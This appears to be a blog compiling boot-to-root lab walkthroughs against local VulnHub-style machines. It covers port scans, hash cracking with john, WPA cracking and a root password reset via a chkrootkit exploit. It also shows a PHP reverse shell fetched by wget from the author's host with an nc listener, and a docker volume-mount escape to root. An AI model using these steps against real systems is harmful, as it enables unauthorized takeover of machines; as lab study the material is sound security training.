Target Machine IP Address: 192.168.56.41
My Machine IP Address: 192.168.56.20
Mission:
Boot to Root
Your target is gain the Root access
There is no any flag in this VMs
Share root access with me twitter@cybersploit1
This works better with VirtualBox rather than VMware
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos))
Let’s browse 192.168.56.41
Some strings are encrypted. Let’s check out the source code. (ctrl+u shortcut key)
Yes, this is a ROT47 encrypted message, I thought to write a script to do this however, let’s not waste time. Better google an online tool for this task. I used this one.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38
| http-ls: Volume /
| SIZE TIME FILENAME
| 3.0K 2020-07-07 16:36 save.zip
We were able to get some juicy information and I am not going to write here each file, however, I am sure you know well that shadow file is the hashed form of the password for the users. I think this may be enough.
We need to break the hash, so let’s use john for the task and take necessary hashes and make it in one form.
Now we can see that it no longer showing us rbash restriction rather command not found which means, the binary or the command path needs to be fixed here.
What I tried was I echo the PATH of my Kali Machine and copied this path and set it to the target machine. Perhaps you might understand it better if you see this screenshot.
Ok, let’s download pspy on Kali Machine and they transfer that to out targetted machine. I use SimpleHTTPServer to do the work, of course, you can have your own method :)
Let’s do a searchexploit chkrootkit or search chkrootkit on google (it will show exploit-db which is GUI of searchsploit).
When we read the exploit steps (like how to configure and how to use it), it tells us this..
The steps are quite self-explanatory, however, what I did here is, I checked the location of the NC program in the target box and then let it run /bin/sh with port 1234, to reverse a connection to IP address 192.168.56.33 (My Kali Machine). Of course, as per the instruction we need to give execution permission to out executable file
Note: I checked the cron entry and I was not able to find any relevant information that whether update (which we have created) is running nor I found chkrootkit related. Interestingly when I check the process through pspy64, periodically /tmp/update is running. Therefore, we can leverage that to our purpose. By the way, this might be because when we run this program honeypot.decoy, it triggers the chkrootkit.
Exploit 1:
#!/bin/bash
echo 'root:tcert.net' | sudo chpasswd
save it as update (by the way, you have to use nano editor this time because if I am not wrong vi editor is not available)
chmod +s update (I sipped tea and look around) and then
su - root
password: tcert.net
Exploit 2: (It didn’t work for me. I need to dig little deeper)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
username:itsskv
cybersploit
CyBeRSplOiT
I ran nikto but didn’t get information but gobuster did give me something..
gobuster dir -u 192.168.56.40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8080/tcp open http BusyBox httpd 1.13
8999/tcp open http WebFS httpd 1.21
9000/tcp open http PHP cli server 5.5 or later (PHP 7.2.30-1)
http://192.168.56.38:8999
Let’s download WPA-01.cap
Let’s run the packet in wireshark
wireshark WPA-01.cap &
I tried my best to dive into the cap file, I was not able to get any anything concrete. Based on our previous machine that we did, I am having a hunch that we will get a username and a password out of this.
Although it shows many connected devices to the router (dlink), only dlink did work as a username. You might be wondering how I got the password? You might know if you have read this post.
Yeah I did run aircrack-ng on the CAP file with rockyou file.
/var/www/bolt/public/files it has the 777 permissions
If you have carefully read the output from nmap, you might have seen that the server is running PHP cli server. That means we can upload a php reverse shell.
Let’s do that..
On Kali Machine
I have downloaded and stored my shells and other tools at /opt
python -m SimpleHTTPServer 8000
On Victim01 Machine
cd /var/www/bolt/public/files/
wget 192.168.56.33:8000/php-reverse-shell.php
chmod +x php-reverse-shell.php
And also change the IP address and Port of your choice. Mine IP: 192.168.56.33 Port:1234
Let’s set up an nc setup on Kali Machine to receive a reverse connection from the Victim01 machine.
I tried to execute the PHP shell on the victim machine to get the reverse connection and I get a limited shell. However, when I try to view the PHP shell through the browser, I got a shell with root privilege. To be honest, I don’t know what is the primary reason behind it and I think I will need to explore more on this. However, I am gonna keep this in mind while I do shelling other boxes in the future.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
Let’s get a glimpse of the website first because the machine is running an apache web server.
Attacker name:
Annlynn
After the attacker’s name, I didn’t get any. So, usually, I like to check robots.txt
It redirects to some files and I won’t go through it here because it was a rabbit hole.
I did run Nikto scanner and got a little information but it was nothing special, as it just gave me things which I got earlier. (The folder called nothing. That’s all)
Gobuster Scanner:
dir -u 192.168.56.37 -w /usr/share/wordlists/directory-list-2.3-medium.txt -o gobuster.log
We got a new file, called hidden_text. This experience taught me an important lesson, i.e. never depend on a single tool for everything.
http://192.168.56.37/hidden_text/
I tried every parameter and, I thought to automate the process either through Burp Suite or a shell command. Perhaps, after this task is over, I will write a script to automate this task for us.
Well, credential didn’t work with about login panel, so let us try with FTP (we know the machine is running FTP through Nmap scan.)
Yes, I was able to log into the machine by using the above credentials
However, I think it is important to pass -a as argument along with the command dir -a. Because although I was not able to see anything despite the command executed successfully.
I found two files in there. It looks like important because one file is an ssh key and other note content username. Probably we could get access by using this information.
username: ariana
password: ssh private key
Remember before using an SSH key, set the permission to either 400 or 600. (usually, I like 400 on production and 600 when I am trying something like a pwning machine).
chmod 600 id_rsa
ssh ariana@192.168.56.37 -i id_rsa
Yes, we got a shell here. Usually, as soon as I get a shell, I like to try some low hanging fruits first. Like what is shown in the screenshot.
So far we got this information:
User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh
cat /home/messenger.sh (make a mental note)
congratulations you Pwned ariana
Here is your user flag _______
fb8d98be1265dd88bac522e1b2182140
Try harder.need become root
To be honest, I am yet to have breakfast and thought to grasp some but because of this flag, I am gonna stick with the machine sometimes more.
I found a diary called ariana-personal.diary
It was written
It’s Ariana personal Diary :::
Today Selena fight with me for Ajay. so i opened her hidden_text on server. now she resposible for the issue.
I didn’t get anything special, so how about we run the script that we got from above? /home/messenger.sh
sudo -u selena /home/messenger.sh
I struggled a little here and need to have a peek on other people’s walkthrough (it is here.)
yes, it is perfect time to get an interactive shell.
python3 -c 'import pty; pty.spawn("/bin/bash")'
id
docker images
docker run -v /:/mnt --rm -it privesc chroot /mnt sh
I got root here, however, I was not happy because I don’t know what this script (docker run -v /:/mnt –rm -it privesc chroot /mnt sh) does. So gonna do little research after breakfast…
Wish you all a productive day!!
Some Rabbit holes while I was digging the account of ariana.
Other things, what I did
I thought to find some SUID and SGID file manually, however, since I have linpeas.sh on my Kali Machine (192.168.56.33). So I am going to upload the shell from there to the target machine. That way, it will do everything automatically.
chmod +x linpeas.sh (on target machine /tmp folder)
While I was going through the extensive report from the linpeas.sh, I can definitely conclude that the machine is running an outdated docker container.
I used this website to decrypt. 
